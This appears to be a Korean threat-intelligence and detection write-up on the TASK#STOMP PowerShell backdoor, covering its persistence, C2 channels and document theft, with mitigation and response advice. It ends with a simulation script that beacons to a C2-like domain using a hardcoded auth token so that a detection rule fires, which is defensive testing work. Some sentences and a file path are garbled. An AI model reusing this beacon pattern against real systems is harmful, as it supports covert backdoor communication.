TASK#STOMP: 문서 도난 및 원격 접근을 위한 PowerShell 백도어

요약

TASK#STOMP는 VBScript 오케스트레이션을 활용하여 다중 지속성 메커니즘을 구축하는 탄력적인 PowerShell 기반 백도어입니다. 이 멀웨어는 C# 컴파일을 런타임에 사용하여 TLS 인증서 검증을 우회하고 첩보 작전을 위한 두 가지 중복 C2 채널을 유지합니다. 기능으로는 자동 문서 절도, 감시, 손상된 Windows 시스템에서의 임의 원격 명령 실행이 포함됩니다.

조사

Securonix 위협 연구팀은 스크립트 주도 Windows 감염 체인의 정적 및 동적 분석을 수행했습니다. 연구자들은 Base64로 인코딩된 페이로드를 디코딩했으며, 특히 diag_pack.dat and win_conn_cfg.dat, 등을 포함하여 실행 프로세스 트리를 재구성했습니다. 조사에서 타임스탐핑, 예약된 작업 회전, 및 런타임 .NET 컴파일 기술을 사용하여 보안 탐지를 회피하는 방법을 밝혀냈습니다.

완화

방어자는 특히 의심스러운 프로세스 관계를 모니터링해야 합니다. wscript.exe or cscript.exe 가 schtasks.exe 를 사용자 쓰기 가능한 디렉터리에 저장된 XML 정의를 통해 실행하는 것을 감시해야 합니다. PowerShell 스크립트 블록 로깅과 AMSI 텔레메트리를 활성화하면 메모리 내 페이로드 디코딩을 식별하는 데 도움이 될 수 있습니다. 알려진 C2 도메인 차단 및 예기치 않은 것을 탐지하는 것 또한 필요합니다 csc.exe 가 생성한 자식 프로세스를 파워셸에서 실행하여 추가로 실행을 방해할 수 있습니다.

응답

TASK#STOMP 활동이 감지되면, 응답자는 예약된 작업 및 시작 프로그램 폴더 항목을 포함한 모든 지속성 앵커를 조정된 방식으로 제거해야 합니다. 에 연결된 VBScript 및 PowerShell 인스턴스가 활성화되어 있다면 WinDefendSvc 디렉터리를 종료해야 합니다. 작업 XML 파일과 계층화된 .dat 페이로드는 포렌식 분석 전에 보존되어야 합니다.

키워드: TASK#STOMP, PowerShell 백도어, VBScript, 다중 앵커 지속성, C# 컴파일, TLS 인증서 검증, 중복 C2, 문서 절도, 감시, 원격 명령 실행, Securonix 위협 연구, Base64, diag_pack.dat, win_conn_cfg.dat, 타임스탐핑, 예약된 작업 회전, .NET 컴파일, wscript.exe, cscript.exe, schtasks.exe, 스크립트 블록 로깅, AMSI, csc.exe, WinDefendSvc.

시뮬레이션 실행

• 공격 내러티브 및 명령: 공격자는 TASK#STOMP 백도어를 사용하여 워크스테이션에 지속성을 성공적으로 구축했습니다. 추가 지시를 받고 도난당한 데이터를 유출하기 위해 멀웨어는 PowerShell 세션을 시작합니다. 스크립트는 파일 공유 서비스를 모방한 도메인과 통신하여 합법적인 웹 트래픽인 척 설계되었습니다 (corecloudfileshare.xyz). C2와의 통신은 권한이 있는 백도어만이 가능하도록 하기 위해 스크립트에는 하드코딩된 X-Auth-Token 가 HTTP 요청 헤더에 포함됩니다. 이 특정 목적지와 헤더의 결합이 우리의 탐지 논리를 발동하는 주요 트리거입니다.

• 회귀 테스트 스크립트:

  # TASK#STOMP 시뮬레이션 스크립트
  # 목적: 감지 규칙을 발동하기 위한 C2 통신 모방
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] $C2Domain에 대한 시뮬레이션된 C2 통신을 시작합니다..."
  try {
      # 도메인이 실제 테스트 환경에서 해결되지 않을 것이기 때문에 -ErrorAction SilentlyContinue를 사용합니다
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] 명령이 전송되었습니다."
  } catch {
      Write-Host "[!] 연결 실패 (도메인이 존재하지 않을 때 예상됨), 하지만 텔레메트리가 생성되어야 합니다."
  }

• 정리 명령:

  # 시뮬레이션 스크립트에 의해 생성된 지속적인 아티팩트가 없습니다.
  # 파일이 삭제되었다면, 다음을 사용하세요: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] 시뮬레이션 정리 완료. 제거된 아티팩트 없음."